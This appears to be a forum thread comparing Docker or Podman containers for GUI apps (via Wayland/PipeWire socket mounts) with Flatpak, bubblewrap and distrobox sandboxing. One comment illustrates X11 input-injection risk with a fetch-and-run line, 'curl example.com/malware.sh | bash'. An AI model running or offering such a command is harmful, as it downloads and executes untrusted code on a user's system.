Another thing to look at is bubblewrap (https://github.com/containers/bubblewrap), which is what implements the sandboxing in Flatpak. It's handy if you want to run a command from your host in a particular sandbox as kind of a one-off, or if you just want to understand more about how that sandboxing works :)
But doesn't flatpack offer much deeper system Integration by default? Like being able to access the home directory by default and being able to talk to dbus?
To me flatpack looks like a way achieve application compatibility not security
I think this depends on your use case. As a dev I would take dockerized gui applications over flatpak all day, as it allows me to quickly add additional packages and networking for example. The possibilities would be endless while all can reside in a small docker-compose stack right in the repository.
Your perspective is understandable. When you say "as a dev" it sounds like you really want to be a docker dev but not a flatpak dev: you are used to writing docker files and docker-compose files but you are not interested in writing flatpak apps. That's okay because docker is focused on developers whereas flatpak is more user-centric.
I am not (only) a docker dev but a developer using docker tooling for my development environment. Feature wise docker and flatpak are not even comparable IMO. Just wanted to make a point, why flatpak is not (yet) an option for some people, and projects like this are very welcome.
You can always build your own flatpak image with whatever else you need. I think the only thing you're losing is the layered architecture of OSI images.
This is a nicely written description of some of the things that flatpak does under the hood for people who know docker. Of course, flatpak does a lot more (e.g. filtered dbus access).
I personally think that flatpak is not the end of history and we should continue to experiment with different approaches.
I configure all my development containers to mount my host's Wayland socket. It mostly Just Works, and obviates the need to do any shell shuffling if I need to run something with a graphical component.
It's also occasionally convenient if I need to run a GUI app written in (say) Java that requires a zillion megabytes of JVM dependencies - just spin up an ephemeral container that makes everything disappear on CTRL-D.
I think it may add a bit of security, but containers are better thought of as mechanism to deploy and manage applications/services.
They can be useful as part of a security posture, but you kinda have to wrap everything up in SELinux or as part of some other system. Which is a lot easier to do with containers then it is to do with normal applications.
Also for most purposes:
If you want to integrate container applications into your desktop you'd be better off with something like Flatpak or distrobox/toolbx.
there are lots of things that these applications do to setup the environment and integrate into your home directory that isn't going to be done with simple scripts like this.
That doesn't mean that these scripts are useless, of course. I you want to run a application with more isolation and less integration then it is a lot easier to do it this way then with something like distrobox.
Like if you don't want to give a application access to your home directory. Or want to emulate a container environment for the cloud locally so you can hack on it.
Even if it did, if you end up connecting your GPU, display manager, dbus, pipewire and a bunch of other devices to the untrusted application, you would kind of lose out on it anyways.
Only benefit I can see here is the separation of the filesystems, but there are easier and simpler ways than docker to do that.
I'll agree that "Docker" has a history of "interesting" security practices.
But the core technologies underlying containers: Namespaces, cgroups, POSIX Capabilties, and SELinux. "Should" provide a level of isolation equivalent to a virtual machine[1].
If you're using a decent container platform like Podman, you should feel relatively good about the application's security and isolation.
You can grab screenshots, manipulate windows, and inject keyboard and mouse inputs. Find the application menu, open a terminal, curl example.com/malware.sh | bash and hide the window.
I remember having to do something similar when I was running a Debian chroot on an Android phone on one of the early Android phones.
Haven’t stuck around so I don’t know if VNC is still common to use locally on Android when you want to run other Linux distros with graphical environments on your device.
It worked but having to rely on VNC for something that is local on the same machine never felt great to me. Same when I VNC into a VM on the same host. It just feels a bit wrong to me to have to use VNC. It works and I do it sometimes for VMs on my computer, but I don’t like it.
The cool people do things like PCI passthrough. But I don’t have an extra graphics card and I haven’t looked much at the details of PCI passthrough anyways. Seems like a lot of effort also.
I do like X11 forwarding. I don’t know what to do for Wayland when it’s a VM.
> When you start a container instance, all you need to do is map the host's Wayland socket and PipeWire socket files into the container, and then set the appropriate environment variables within the container to enable running GUI applications.
